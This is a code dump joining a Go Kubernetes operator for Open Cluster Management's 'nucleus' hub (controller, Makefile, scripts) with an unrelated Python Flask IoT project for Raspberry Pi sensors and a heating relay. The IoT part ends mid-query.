"path/filepath" "time" apiextensionsclient "k8s.io/apiextensions-apiserver/pkg/client/clientset/clientset" "k8s.io/apimachinery/pkg/api/errors" "k8s.io/apimachinery/pkg/api/meta" "k8s.io/apimachinery/pkg/util/sets" "k8s.io/client-go/kubernetes" "k8s.io/klog" apiregistrationclient "k8s.io/kube-aggregator/pkg/client/clientset_generated/clientset/typed/apiregistration/v1" "github.com/openshift/library-go/pkg/assets" "github.com/openshift/library-go/pkg/controller/factory" "github.com/openshift/library-go/pkg/crypto" "github.com/openshift/library-go/pkg/operator/events" operatorhelpers "github.com/openshift/library-go/pkg/operator/v1helpers" metav1 "k8s.io/apimachinery/pkg/apis/meta/v1" "k8s.io/apimachinery/pkg/runtime" nucleusv1client "github.com/open-cluster-management/api/client/nucleus/clientset/versioned/typed/nucleus/v1" nucleusinformer "github.com/open-cluster-management/api/client/nucleus/informers/externalversions/nucleus/v1" nucleuslister "github.com/open-cluster-management/api/client/nucleus/listers/nucleus/v1" nucleusapiv1 "github.com/open-cluster-management/api/nucleus/v1" "github.com/open-cluster-management/nucleus/pkg/helpers" "github.com/open-cluster-management/nucleus/pkg/operators/hub/bindata" ) var ( crdNames = []string{ "manifestworks.work.open-cluster-management.io", "spokeclusters.cluster.open-cluster-management.io", } staticResourceFiles = []string{ "manifests/hub/0000_00_clusters.open-cluster-management.io_spokeclusters.crd.yaml", "manifests/hub/0000_00_work.open-cluster-management.io_manifestworks.crd.yaml", "manifests/hub/hub-registration-clusterrole.yaml", "manifests/hub/hub-registration-clusterrolebinding.yaml", "manifests/hub/hub-namespace.yaml", "manifests/hub/hub-registration-serviceaccount.yaml", "manifests/hub/hub-registration-webhook-clusterrole.yaml", "manifests/hub/hub-registration-webhook-clusterrolebinding.yaml", "manifests/hub/hub-registration-webhook-service.yaml", "manifests/hub/hub-registration-webhook-serviceaccount.yaml", "manifests/hub/hub-registration-webhook-apiservice.yaml", "manifests/hub/hub-registration-webhook-secret.yaml", "manifests/hub/hub-registration-webhook-validatingconfiguration.yaml", } deploymentFiles = []string{ "manifests/hub/hub-registration-deployment.yaml", "manifests/hub/hub-registration-webhook-deployment.yaml", } ) const ( nucleusHubFinalizer = "nucleus.open-cluster-management.io/hub-core-cleanup" nucleusHubCoreNamespace = "open-cluster-management-hub" nucleusHubCoreWebhookSecret = "webhook-serving-cert" hubCoreApplied = "Applied" hubCoreAvailable = "Available" ) type nucleusHubController struct { nucleusClient nucleusv1client.HubCoreInterface nucleusLister nucleuslister.HubCoreLister kubeClient kubernetes.Interface apiExtensionClient apiextensionsclient.Interface apiRegistrationClient apiregistrationclient.APIServicesGetter currentGeneration []int64 } // NewNucleusHubController construct nucleus hub controller func NewNucleusHubController( kubeClient kubernetes.Interface, apiExtensionClient apiextensionsclient.Interface, apiRegistrationClient apiregistrationclient.APIServicesGetter, nucleusClient nucleusv1client.HubCoreInterface, nucleusInformer nucleusinformer.HubCoreInformer, recorder events.Recorder) factory.Controller { controller := &nucleusHubController{ kubeClient: kubeClient, apiExtensionClient: apiExtensionClient, apiRegistrationClient: apiRegistrationClient, nucleusClient: nucleusClient, nucleusLister: nucleusInformer.Lister(), currentGeneration: make([]int64, len(deploymentFiles)), } return factory.New().WithSync(controller.sync). ResyncEvery(3*time.Minute). WithInformersQueueKeyFunc(func(obj runtime.Object) string { accessor, _ := meta.Accessor(obj) return accessor.GetName() }, nucleusInformer.Informer()). ToController("NucleusHubController", recorder) } // hubConfig is used to render the template of hub manifests type hubConfig struct { HubCoreName string HubCoreNamespace string RegistrationImage string HubCoreWebhookSecret string HubCoreWebhookRegistrationService string RegistrationAPIServiceCABundle string RegistrationServingCert string RegistrationServingKey string } func (n *nucleusHubController) sync(ctx context.Context, controllerContext factory.SyncContext) error { hubCoreName := controllerContext.QueueKey() klog.V(4).Infof("Reconciling HubCore %q", hubCoreName) hubCore, err := n.nucleusLister.Get(hubCoreName) if errors.IsNotFound(err) { // HubCore not found, could have been deleted, do nothing. return nil } if err != nil { return err } hubCore = hubCore.DeepCopy() config := hubConfig{ HubCoreName: hubCore.Name, HubCoreNamespace: nucleusHubCoreNamespace, RegistrationImage: hubCore.Spec.RegistrationImagePullSpec, HubCoreWebhookSecret: nucleusHubCoreWebhookSecret, HubCoreWebhookRegistrationService: fmt.Sprintf("%s-registration-webhook", hubCore.Name), } // Update finalizer at first if hubCore.DeletionTimestamp.IsZero() { hasFinalizer := false for i := range hubCore.Finalizers { if hubCore.Finalizers[i] == nucleusHubFinalizer { hasFinalizer = true break } } if !hasFinalizer { hubCore.Finalizers = append(hubCore.Finalizers, nucleusHubFinalizer) _, err := n.nucleusClient.Update(ctx, hubCore, metav1.UpdateOptions{}) return err } } // HubCore is deleting, we remove its related resources on hub if !hubCore.DeletionTimestamp.IsZero() { if err := n.cleanUp(ctx, controllerContext, config); err != nil { return err } return n.removeWorkFinalizer(ctx, hubCore) } ca, cert, key, err := n.ensureServingCertAndCA( ctx, config.HubCoreNamespace, config.HubCoreWebhookSecret, config.HubCoreWebhookRegistrationService) if err != nil { return err } config.RegistrationAPIServiceCABundle = base64.StdEncoding.EncodeToString(ca) config.RegistrationServingCert = base64.StdEncoding.EncodeToString(cert) config.RegistrationServingKey = base64.StdEncoding.EncodeToString(key) // Apply static files resourceResults := helpers.ApplyDirectly( n.kubeClient, n.apiExtensionClient, n.apiRegistrationClient, controllerContext.Recorder(), func(name string) ([]byte, error) { return assets.MustCreateAssetFromTemplate(name, bindata.MustAsset(filepath.Join("", name)), config).Data, nil }, staticResourceFiles..., ) errs := []error{} for _, result := range resourceResults { if result.Error != nil { errs = append(errs, fmt.Errorf("%q (%T): %v", result.File, result.Type, result.Error)) } } // Render deployment manifest and apply for index, file := range deploymentFiles { currentGeneration, err := helpers.ApplyDeployment( n.kubeClient, n.currentGeneration[index], func(name string) ([]byte, error) { return assets.MustCreateAssetFromTemplate(name, bindata.MustAsset(filepath.Join("", name)), config).Data, nil }, controllerContext.Recorder(), file) if err != nil { errs = append(errs, err) } n.currentGeneration[index] = currentGeneration } conditions := &hubCore.Status.Conditions if len(errs) == 0 { helpers.SetNucleusCondition(conditions, nucleusapiv1.StatusCondition{ Type: hubCoreApplied, Status: metav1.ConditionTrue, Reason: "HubCoreApplied", Message: "Components of hub core is applied", }) } else { helpers.SetNucleusCondition(conditions, nucleusapiv1.StatusCondition{ Type: hubCoreApplied, Status: metav1.ConditionFalse, Reason: "HubCoreApplyFailed", Message: "Components of hub core fail to be applied", }) } //TODO Check if all the pods are running. // Update status _, _, updatedErr := helpers.UpdateNucleusHubStatus( ctx, n.nucleusClient, hubCore.Name, helpers.UpdateNucleusHubConditionFn(*conditions...)) if updatedErr != nil { errs = append(errs, updatedErr) } return operatorhelpers.NewMultiLineAggregate(errs) } func (n *nucleusHubController) removeWorkFinalizer(ctx context.Context, deploy *nucleusapiv1.HubCore) error { copiedFinalizers := []string{} for i := range deploy.Finalizers { if deploy.Finalizers[i] == nucleusHubFinalizer { continue } copiedFinalizers = append(copiedFinalizers, deploy.Finalizers[i]) } if len(deploy.Finalizers) != len(copiedFinalizers) { deploy.Finalizers = copiedFinalizers _, err := n.nucleusClient.Update(ctx, deploy, metav1.UpdateOptions{}) return err } return nil } // removeCRD removes crd, and check if crd resource is removed. Since the related cr is still being deleted, // it will check the crd existence after deletion, and only return nil when crd is not found. func (n *nucleusHubController) removeCRD(ctx context.Context, name string) error { err := n.apiExtensionClient.ApiextensionsV1().CustomResourceDefinitions().Delete( ctx, name, metav1.DeleteOptions{}) switch { case errors.IsNotFound(err): return nil case err != nil: return err } _, err = n.apiExtensionClient.ApiextensionsV1().CustomResourceDefinitions().Get(ctx, name, metav1.GetOptions{}) switch { case errors.IsNotFound(err): return nil case err != nil: return err } return fmt.Errorf("CRD %s is still being deleted", name) } // ensureServingCertAndCA generates self signed CA and server key/cert for webhook server. // TODO consider ca/cert renewal func (n *nucleusHubController) ensureServingCertAndCA( ctx context.Context, namespace, secretName, svcName string) ([]byte, []byte, []byte, error) { secret, err := n.kubeClient.CoreV1().Secrets(namespace).Get(ctx, secretName, metav1.GetOptions{}) switch { case err != nil && !errors.IsNotFound(err): return nil, nil, nil, err case err == nil: if secret.Data["ca.crt"] != nil && secret.Data["tls.crt"] != nil && secret.Data["tls.key"] != nil { return secret.Data["ca.crt"], secret.Data["tls.crt"], secret.Data["tls.key"], nil } } caConfig, err := crypto.MakeSelfSignedCAConfig("nucleus-webhook", 365) if err != nil { return nil, nil, nil, err } ca := &crypto.CA{ SerialGenerator: &crypto.RandomSerialGenerator{}, Config: caConfig, } hostName := fmt.Sprintf("%s.%s.svc", svcName, namespace) server, err := ca.MakeServerCert(sets.NewString(hostName), 365) if err != nil { return nil, nil, nil, err } caData, _, err := caConfig.GetPEMBytes() if err != nil { return nil, nil, nil, err } certData, keyData, err := server.GetPEMBytes() if err != nil { return nil, nil, nil, err } return caData, certData, keyData, nil } func (n *nucleusHubController) cleanUp( ctx context.Context, controllerContext factory.SyncContext, config hubConfig) error { // Remove crd for _, name := range crdNames { err := n.removeCRD(ctx, name) if err != nil { return err } controllerContext.Recorder().Eventf("CRDDeleted", "crd %s is deleted", name) } // Remove Static files for _, file := range staticResourceFiles { err := helpers.CleanUpStaticObject( ctx, n.kubeClient, n.apiExtensionClient, n.apiRegistrationClient, func(name string) ([]byte, error) { return assets.MustCreateAssetFromTemplate(name, bindata.MustAsset(filepath.Join("", name)), config).Data, nil }, file, ) if err != nil { return err } } return nil } <file_sep>/pkg/cmd/operator/spoke.go package operator import ( "github.com/spf13/cobra" "github.com/openshift/library-go/pkg/controller/controllercmd" "github.com/open-cluster-management/nucleus/pkg/operators" "github.com/open-cluster-management/nucleus/pkg/version" ) // NewSpokeOperatorCmd generatee a command to start spoke operator func NewSpokeOperatorCmd() *cobra.Command { cmd := controllercmd. NewControllerCommandConfig("nucleus-spoke", version.Get(), operators.RunNucleusSpokeOperator). NewCommand() cmd.Use = "spoke" cmd.Short = "Start the nucleus hub operator" return cmd } <file_sep>/Makefile all: build .PHONY: all # Include the library makefile include $(addprefix ./vendor/github.com/openshift/build-machinery-go/make/, \ golang.mk \ targets/openshift/deps.mk \ targets/openshift/images.mk \ targets/openshift/bindata.mk \ lib/tmp.mk\ ) # IMAGE_NAME can be set in the env to override calculate value for nucleus image IMAGE_REGISTRY?=quay.io/open-cluster-management IMAGE_TAG?=latest IMAGE_NAME?=$(IMAGE_REGISTRY)/nucleus:$(IMAGE_TAG) # WORK_IMAGE can be set in the env to override calculated value WORK_TAG?=latest WORK_IMAGE?=$(IMAGE_REGISTRY)/work:$(WORK_TAG) # REGISTRATION_IMAGE can be set in the env to override calculated value REGISTRATION_TAG?=latest REGISTRATION_IMAGE?=$(IMAGE_REGISTRY)/registration:$(REGISTRATION_TAG) OPERATOR_SDK?=$(PERMANENT_TMP_GOPATH)/bin/operator-sdk OPERATOR_SDK_VERSION?=v0.17.0 operatorsdk_gen_dir:=$(dir $(OPERATOR_SDK)) # On openshift, OLM is installed into openshift-operator-lifecycle-manager OLM_NAMESPACE?=olm KUBECTL?=kubectl KUBECONFIG ?= ./.kubeconfig OPERATOR_SDK_ARCHOS:=x86_64-linux-gnu ifeq ($(GOHOSTOS),darwin) ifeq ($(GOHOSTARCH),amd64) OPERATOR_SDK_ARCHOS:=x86_64-apple-darwin endif endif $(call add-bindata,hub,./manifests/hub/...,bindata,bindata,./pkg/operators/hub/bindata/bindata.go) $(call add-bindata,spoke,./manifests/spoke/...,bindata,bindata,./pkg/operators/spoke/bindata/bindata.go) copy-crd: bash -x hack/copy-crds.sh update-all: copy-crd update-bindata-hub update-bindata-spoke update-csv verify-crds: bash -x hack/verify-crds.sh verify: verify-crds update-csv: ensure-operator-sdk $(OPERATOR_SDK) generate csv --crd-dir=deploy/nucleus-hub/crds --deploy-dir=deploy/nucleus-hub --output-dir=deploy/nucleus-hub/olm-catalog/nucleus-hub --operator-name=nucleus-hub --csv-version=0.1.0 $(OPERATOR_SDK) generate csv --crd-dir=deploy/nucleus-spoke/crds --deploy-dir=deploy/nucleus-spoke --output-dir=deploy/nucleus-spoke/olm-catalog/nucleus-spoke --operator-name=nucleus-spoke --csv-version=0.1.0 munge-hub-csv: mkdir -p munge-csv cp deploy/nucleus-hub/olm-catalog/nucleus-hub/manifests/nucleus-hub.clusterserviceversion.yaml munge-csv/nucleus-hub.clusterserviceversion.yaml.unmunged sed -e "s,quay.io/open-cluster-management/nucleus:latest,$(IMAGE_NAME)," -i deploy/nucleus-hub/olm-catalog/nucleus-hub/manifests/nucleus-hub.clusterserviceversion.yaml munge-spoke-csv: mkdir -p munge-csv cp deploy/nucleus-spoke/olm-catalog/nucleus-spoke/manifests/nucleus-spoke.clusterserviceversion.yaml munge-csv/nucleus-spoke.clusterserviceversion.yaml.unmunged sed -e "s,quay.io/open-cluster-management/nucleus:latest,$(IMAGE_NAME)," -i deploy/nucleus-spoke/olm-catalog/nucleus-spoke/manifests/nucleus-spoke.clusterserviceversion.yaml unmunge-csv: mv munge-csv/nucleus-hub.clusterserviceversion.yaml.unmunged deploy/nucleus-hub/olm-catalog/nucleus-hub/manifests/nucleus-hub.clusterserviceversion.yaml mv munge-csv/nucleus-spoke.clusterserviceversion.yaml.unmunged deploy/nucleus-spoke/olm-catalog/nucleus-spoke/manifests/nucleus-spoke.clusterserviceversion.yaml deploy: install-olm deploy-hub deploy-spoke unmunge-csv clean-deploy: clean-spoke clean-hub install-olm: ensure-operator-sdk $(KUBECTL) get crds | grep clusterserviceversion ; if [ $$? -ne 0 ] ; then $(OPERATOR_SDK) olm install --version 0.14.1; fi $(KUBECTL) get ns open-cluster-management ; if [ $$? -ne 0 ] ; then $(KUBECTL) create ns open-cluster-management ; fi deploy-hub: install-olm munge-hub-csv $(OPERATOR_SDK) run --olm --operator-namespace open-cluster-management --operator-version 0.1.0 --manifests deploy/nucleus-hub/olm-catalog/nucleus-hub --olm-namespace $(OLM_NAMESPACE) sed -e "s,quay.io/open-cluster-management/registration,$(REGISTRATION_IMAGE)," deploy/nucleus-hub/crds/nucleus_open-cluster-management_hubcores.cr.yaml | $(KUBECTL) apply -f - clean-hub: ensure-operator-sdk $(KUBECTL) delete -f deploy/nucleus-hub/crds/nucleus_open-cluster-management_hubcores.cr.yaml --ignore-not-found $(OPERATOR_SDK) cleanup --olm --operator-namespace open-cluster-management --operator-version 0.1.0 --manifests deploy/nucleus-hub/olm-catalog/nucleus-hub --olm-namespace $(OLM_NAMESPACE) cluster-ip: CLUSTER_IP?=$(shell $(KUBECTL) get svc kubernetes -n default -o jsonpath="{.spec.clusterIP}") bootstrap-secret: cluster-ip $(KUBECTL) get ns open-cluster-management-spoke ; if [ $$? -ne 0 ] ; then $(KUBECTL) create ns open-cluster-management-spoke ; fi cp $(KUBECONFIG) dev-kubeconfig $(KUBECTL) config set clusters.kind-kind.server https://$(CLUSTER_IP) --kubeconfig dev-kubeconfig $(KUBECTL) delete secret bootstrap-hub-kubeconfig -n open-cluster-management-spoke --ignore-not-found $(KUBECTL) create secret generic bootstrap-hub-kubeconfig --from-file=kubeconfig=dev-kubeconfig -n open-cluster-management-spoke # Registration e2e expects to read bootstrap secret from open-cluster-management/e2e-bootstrap-secret # TODO: think about how to factor this e2e-bootstrap-secret: cluster-ip cp $(KUBECONFIG) e2e-kubeconfig $(KUBECTL) config set clusters.kind-kind.server https://$(CLUSTER_IP) --kubeconfig e2e-kubeconfig $(KUBECTL) delete secret e2e-bootstrap-secret -n open-cluster-management --ignore-not-found $(KUBECTL) create secret generic e2e-bootstrap-secret --from-file=kubeconfig=e2e-kubeconfig -n open-cluster-management deploy-spoke: install-olm munge-spoke-csv bootstrap-secret $(OPERATOR_SDK) run --olm --operator-namespace open-cluster-management --operator-version 0.1.0 --manifests deploy/nucleus-spoke/olm-catalog/nucleus-spoke --olm-namespace $(OLM_NAMESPACE) sed -e "s,quay.io/open-cluster-management/registration,$(REGISTRATION_IMAGE)," -e "s,quay.io/open-cluster-management/work,$(WORK_IMAGE)," deploy/nucleus-spoke/crds/nucleus_open-cluster-management_spokecores.cr.yaml | $(KUBECTL) apply -f - clean-spoke: ensure-operator-sdk $(KUBECTL) delete -f deploy/nucleus-spoke/crds/nucleus_open-cluster-management_spokecores.cr.yaml --ignore-not-found $(OPERATOR_SDK) cleanup --olm --operator-namespace open-cluster-management --operator-version 0.1.0 --manifests deploy/nucleus-spoke/olm-catalog/nucleus-spoke --olm-namespace $(OLM_NAMESPACE) ensure-operator-sdk: ifeq "" "$(wildcard $(OPERATOR_SDK))" $(info Installing operator-sdk into '$(OPERATOR_SDK)') mkdir -p '$(operatorsdk_gen_dir)' curl -s -f -L https://github.com/operator-framework/operator-sdk/releases/download/$(OPERATOR_SDK_VERSION)/operator-sdk-$(OPERATOR_SDK_VERSION)-$(OPERATOR_SDK_ARCHOS) -o '$(OPERATOR_SDK)' chmod +x '$(OPERATOR_SDK)'; else $(info Using existing operator-sdk from "$(OPERATOR_SDK)") endif # This will call a macro called "build-image" which will generate image specific targets based on the parameters: # $0 - macro name # $1 - target suffix # $2 - Dockerfile path # $3 - context directory for image build # It will generate target "image-$(1)" for builing the image an binding it as a prerequisite to target "images". $(call build-image,nucleus,$(IMAGE_REGISTRY)/nucleus,./Dockerfile,.) clean: $(RM) ./nucleus .PHONY: clean GO_TEST_PACKAGES :=./pkg/... ./cmd/... include ./test/integration-test.mk <file_sep>/hack/copy-crds.sh #!/bin/bash source "$(dirname "${BASH_SOURCE}")/init.sh" for f in $CRD_FILES do cp $f ./manifests/hub/ done cp $NUCLEUS_HUB_CRD_FILE ./deploy/nucleus-hub/crds/ cp $NUCLEUS_SPOKE_CRD_FILE ./deploy/nucleus-spoke/crds/ <file_sep>/pkg/operators/manager.go package operators import ( "context" "time" apiextensionsclient "k8s.io/apiextensions-apiserver/pkg/client/clientset/clientset" "k8s.io/client-go/kubernetes" apiregistrationclient "k8s.io/kube-aggregator/pkg/client/clientset_generated/clientset" "github.com/openshift/library-go/pkg/controller/controllercmd" nucleusclient "github.com/open-cluster-management/api/client/nucleus/clientset/versioned" nucleusinformer "github.com/open-cluster-management/api/client/nucleus/informers/externalversions" "github.com/open-cluster-management/nucleus/pkg/operators/hub" "github.com/open-cluster-management/nucleus/pkg/operators/spoke" ) // RunNucleusHubOperator starts a new nucleus hub operator func RunNucleusHubOperator(ctx context.Context, controllerContext *controllercmd.ControllerContext) error { // Build kubclient client and informer for spoke cluster kubeClient, err := kubernetes.NewForConfig(controllerContext.KubeConfig) if err != nil { return err } apiExtensionClient, err := apiextensionsclient.NewForConfig(controllerContext.KubeConfig) if err != nil { return err } apiRegistrationClient, err := apiregistrationclient.NewForConfig(controllerContext.KubeConfig) if err != nil { return err } // Build nucleus client and informer nucleusClient, err := nucleusclient.NewForConfig(controllerContext.KubeConfig) if err != nil { return err } nucleusInformer := nucleusinformer.NewSharedInformerFactory(nucleusClient, 5*time.Minute) hubcontroller := hub.NewNucleusHubController( kubeClient, apiExtensionClient, apiRegistrationClient.ApiregistrationV1(), nucleusClient.NucleusV1().HubCores(), nucleusInformer.Nucleus().V1().HubCores(), controllerContext.EventRecorder) go nucleusInformer.Start(ctx.Done()) go hubcontroller.Run(ctx, 1) <-ctx.Done() return nil } // RunNucleusSpokeOperator starts a new nucleus spoke operator func RunNucleusSpokeOperator(ctx context.Context, controllerContext *controllercmd.ControllerContext) error { // Build kubclient client and informer for spoke cluster kubeClient, err := kubernetes.NewForConfig(controllerContext.KubeConfig) if err != nil { return err } // Build nucleus client and informer nucleusClient, err := nucleusclient.NewForConfig(controllerContext.KubeConfig) if err != nil { return err } nucleusInformer := nucleusinformer.NewSharedInformerFactory(nucleusClient, 5*time.Minute) spokeController := spoke.NewNucleusSpokeController( kubeClient, nucleusClient.NucleusV1().SpokeCores(), nucleusInformer.Nucleus().V1().SpokeCores(), controllerContext.EventRecorder) go nucleusInformer.Start(ctx.Done()) go spokeController.Run(ctx, 1) <-ctx.Done() return nil }
16159d33a80feea416dfa50c8344274d3d3baf41
[ "Markdown", "Makefile", "Go", "Dockerfile", "Shell" ]
13
Markdown
mdelder/nucleus
249448baea60bb7d36bf7ea1c432e54623de372d
511cdc1f493593e8b90114b025f5117585fa1d9a
refs/heads/master
<file_sep>#!/usr/bin/env python3.7 # coding: UTF-8 import datetime import json import os import requests def get_room_temperature(): headers = { 'accept': 'application/json', 'Authorization': 'Bearer ' + os.environ['REMOTOKEN'], } response = requests.get('https://api.nature.global/1/devices', headers=headers) json = response.json() return json[0]['newest_events']['te']['val'] def post_service_metrics(temperature): headers = { 'accept': 'application/json', 'Content-Type': 'application/json', 'X-Api-Key': os.environ['MACKERELKEY'], } now = datetime.datetime.now() metrics = [ { 'name': 'Temperature.temperature', 'time': int(now.timestamp()), 'value': temperature } ] json.dumps(metrics), response = requests.post('https://api.mackerelio.com/api/v0/services/nature-remo/tsdb', json.dumps(metrics), headers=headers) print(response.json()) def lambda_handler(event, context): temperature = get_room_temperature() post_service_metrics(temperature) <file_sep># remo to mackerel This code get my room temperature from [Nature Remo](https://nature.global/), and post it as service metrics to [Mackerel](https://mackerel.io/ja/) by AWS Lambda. ![image](./img/mackerel.png) ## Usage set Nature Remo api token, Mackerel api key to environment variable. ``` $ export REMOTOKEN=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx $ export MACKERELKEY=<KEY> $ pip install requests $ python lambda_function.py ``` ### work on AWS Lambda ![image](./img/lambda.png) ``` $ mkdir packages $ cd packages/ $ pip install requests -t . $ zip -r9 ../function.zip . $ zip -g function.zip lambda_function.py ``` and upload function.zip to AWS Lambda.
5d0b130c4e9e5b32a6f6f9d47dcb2bd514740d31
[ "Markdown", "Python" ]
2
Python
tkmru/remo_to_mackerel
0417d0b27393a46e10b9fb6fa85e93fa91af4d85
99c54b7a808d99476400a283def3a1c0abfda8b0
refs/heads/master
<file_sep>#include<stdio.h> void draw(int n,int x) { for (int j = 1; j <= 2*x-1; j++) { if (j != x - n && j != x + n) { printf(" "); } if (j == x - n || j == x + n) { printf("* "); } } printf("\n"); } int main(){ int x; scanf("%d", &x); int n = 0; for (int i=1; i <= x; i++) { draw(n,x); n++; } int m = n-2; for (int i = 1; i <= x-1; i++) { draw(m, x); m--; } return 0; }
c7c307c12eea61e36e84cc03ab9b2f8de22a5113
[ "C++" ]
1
C++
63010749/week_8_no_1
57e2ee7bb03f5c3d1b865319d46e0c60de7af3bd
f3415d1f6dd243642be9b35e5ef839269287d167
refs/heads/master
<repo_name>mamalisk/nodeAndNano<file_sep>/server.js //setup Dependencies var connect = require('connect') , express = require('express') , io = require('socket.io') , port = (process.env.PORT || 8081) , nano = require('nano') , IDProvider = require('./idprov/idProvider') var idprov; //Setup Express var server = express.createServer(); server.configure(function(){ server.set('views', __dirname + '/views'); server.set('view options', { layout: false }); server.use(connect.bodyParser()); server.use(express.cookieParser()); server.use(express.session({ secret: "shhhhhhhhh!"})); server.use(connect.static(__dirname + '/static')); server.use(server.router); }); //setup the errors server.error(function(err, req, res, next){ if (err instanceof NotFound) { res.render('404.jade', { locals: { title : '404 - Not Found' ,description: '' ,author: '' ,analyticssiteid: 'XXXXXXX' },status: 404 }); } else { res.render('500.jade', { locals: { title : 'The Server Encountered an Error' ,description: '' ,author: '' ,analyticssiteid: 'XXXXXXX' ,error: err },status: 500 }); } }); server.listen( port); //Setup Socket.IO var io = io.listen(server); io.sockets.on('connection', function(socket){ console.log('Client Connected'); socket.on('message', function(data){ socket.broadcast.emit('server_message',data); socket.emit('server_message',data); }); socket.on('disconnect', function(){ console.log('Client Disconnected.'); }); }); /////////////////////////////////////////// // Routes // /////////////////////////////////////////// /////// ADD ALL YOUR ROUTES HERE ///////// server.get('/', function(req,res){ res.render('index.jade', { locals : { title : 'Your Page Title' ,description: 'Your Page Description' ,author: '<NAME>' ,analyticssiteid: 'XXXXXXX' } }); }); server.get('/users',function(req,res){ var username = 'user' + Math.random().toString(); idprov.insertUser(FootmanUser(username,'<PASSWORD>',true)) res.render('index.jade', { locals : { title : 'User Created: ' + username ,description: 'User Creation page' ,author: 'mamalisk' ,analyticssiteid: 'TBD' } }); }); //A Route for Creating a 500 Error (Useful to keep around) server.get('/500', function(req, res){ throw new Error('This is a 500 Error'); }); //The 404 Route (ALWAYS Keep this as the last route) server.get('/*', function(req, res){ throw new NotFound; }); function NotFound(msg){ this.name = 'NotFound'; Error.call(this, msg); Error.captureStackTrace(this, arguments.callee); } console.log('Listening on http://0.0.0.0:' + port ); idprov = new IDProvider('http://localhost:5984','footmanusers') // FOOTMAN USER function FootmanUser(username, password, isAdmin){ if(typeof username !== 'string') { throw new Error("Invalid string: " + username); } if(typeof password !== 'string') { throw new Error("Invalid string: " + password); } if(typeof isAdmin !== 'boolean') { throw new Error("Invalid boolean: " + isAdmin); } this.username = username this.password = <PASSWORD> this.isAdmin = isAdmin return this; } FootmanUser.prototype = { username : 'user' + Math.random().toString(), password : '<PASSWORD>', isAdmin : false } // Crockford's technique var createObject = function (o) { function F() {} F.prototype = o; return new F(); }; <file_sep>/README.md nodeAndNano =========== A small prototype using nodeJS, express and nano to connect to CouchDB
1119a21f8a236f2640fe279f415618c91d3bcc82
[ "JavaScript", "Markdown" ]
2
JavaScript
mamalisk/nodeAndNano
85e69df39affa6ea560764908c756bb5033c5479
ab4221f2c81e8cf4ca221b34d43fa9041b3667b6
refs/heads/master
<repo_name>heseba/wotdl2api<file_sep>/implementations/ledvance_motion_sensor.py from flask import jsonify import requests import json MOTION_ENDPOINT = "http://10.0.1.200:80/api/E70AB7E7DB/sensors/2" TEMPERATURE_ENDPOINT = "raspberrypi.local:80/api/E70AB7E7DB/sensors/3" def get_motion_ledvance(): response = requests.get(MOTION_ENDPOINT) json_data = json.loads(response.text) if json_data['state']['presence'] is True: return jsonify({'motion': 1, 'text': 'motion detected'}) else: return jsonify({'motion': 0, 'text': 'no motion detected'}) def get_temperature_ledvance(): response = requests.get(TEMPERATURE_ENDPOINT) json_data = json.loads(response.text) temperature = json_data['state']['temperature'] return jsonify({'temperature': temperature, 'text': str(temperature), 'unit': 'Celsius'})<file_sep>/implementations/grove_digital_light_sensor.py from flask import jsonify import grovepi print('light_sensor imported') def get_light_intensity_grove(a=1): light_sensor = 2 threshold = 10 sum = 0 cnt = 0 min = 9999 max = 0 # while(cnt<50): # sensor_value = grovepi.analogRead(light_sensor) # sum += sensor_value # if (sensor_value > max): # max = sensor_value # if (sensor_value < min): # min = sensor_value # cnt += 1 sensor_value = grovepi.analogRead(light_sensor) resistance = (float)(1023 - sensor_value) * 10 / sensor_value #Send HIGH to switch on LED if resistance > threshold: return jsonify({'resistance':'HIGH', 'light-value':sensor_value, 'resistance-value':resistance}) else: return jsonify({'resistance':'LOW', 'light-value':sensor_value, 'resistance-value':resistance}) #return jsonify({'light-value':sum/cnt}) <file_sep>/implementations/relay_heating.py import time import grovepi from flask import Response from .heating_thread import HeatingThread from .. import hub def init(): if not 'WORKER' in hub.PERSISTENCE: hub.PERSISTENCE['WORKER'] = HeatingThread() return def activate_heating(power): #power = body['power'] if power < .2 or power > 1: raise ValueError else: grovepi.pinMode(8, 'OUTPUT') on_interval = power * 20 off_interval = (1-power) * 20 hub.PERSISTENCE['WORKER'].on_interval = on_interval hub.PERSISTENCE['WORKER'].off_interval = off_interval print('Starting Heating Thread') hub.PERSISTENCE['WORKER'].start() def deactivate_heating(): grovepi.pinMode(8, 'OUTPUT') print('Stopping Heating Thread') hub.PERSISTENCE['WORKER'].stop() time.sleep(0.5) print('Turning Relay Off') grovepi.digitalWrite(8, 0) def heating_on(power): activate_heating(power) return Response(power, status=200) def heating_off(): deactivate_heating() return Response('off', status=200)<file_sep>/02_m2t_openapi_flask.sh #!/usr/bin/env bash PORT=9000 MODULE=wot_api API=api.yaml GENERATOR_PATH=/usr/local/Cellar/openapi-generator/3.3.4/bin PYTHON_PATH=/Users/mahda/.local/share/virtualenvs/wotdl2api-iHq_-KG6/bin PI_PYTHON_PATH=/home/pi/.local/share/virtualenvs/wotdl2api-experiment-bAUvETzh/bin TARGET=flask_out PI_IP=10.0.1.200 DEPLOY_ON_PI=true ( set -x ; ${GENERATOR_PATH}/openapi-generator generate -i ${API} -g python-flask -o ${TARGET} -c config.json) ( set -x ; ${PYTHON_PATH}/python3 post_generation.py ${TARGET} ${MODULE} ${API}) ( set -x ; cp hub.py ${TARGET}/${MODULE}) echo if $DEPLOY_ON_PI ; then echo copying to raspberry echo ( set -x ; rsync -av --progress flask_out/* pi@${PI_IP}:/home/pi/wotdl2api-experiment) echo ( set -x ; ssh -t pi@${PI_IP} "lsof -ti tcp:9000 | xargs kill") echo echo running API on raspberry pi, open http://${PI_IP}:${PORT}/api/ui in your browser echo ( set -x ;ssh -t pi@${PI_IP} "cd /home/pi/wotdl2api-experiment ; exec ${PI_PYTHON_PATH}/python3 -m ${MODULE}") else echo running API locally, open http://0.0.0.0:${PORT}/api/ui in your browser ( set -x ; cd ${TARGET}; ${PYTHON_PATH}/python3 -m ${MODULE}) fi <file_sep>/01_m2m_openapi.py import rdflib import yaml import json import fileinput from rdflib import OWL, RDFS, Namespace from urllib.parse import urlparse from collections import defaultdict IN = 'sample.ttl' WOTDL = Namespace('http://vsr.informatik.tu-chemnitz.de/projects/2019/growth/wotdl#') instance = rdflib.Graph() instance.parse(IN, format='n3') find_http_requests = """SELECT ?d ?device ?http_request ?name ?method ?url ?body WHERE { ?d a ?device_subclass. ?device_subclass a owl:Class. ?device_subclass rdfs:subClassOf wotdl:Device. OPTIONAL{ ?d wotdl:name ?device } ?http_request a wotdl:HttpRequest . OPTIONAL{?http_request wotdl:name ?name} ?http_request 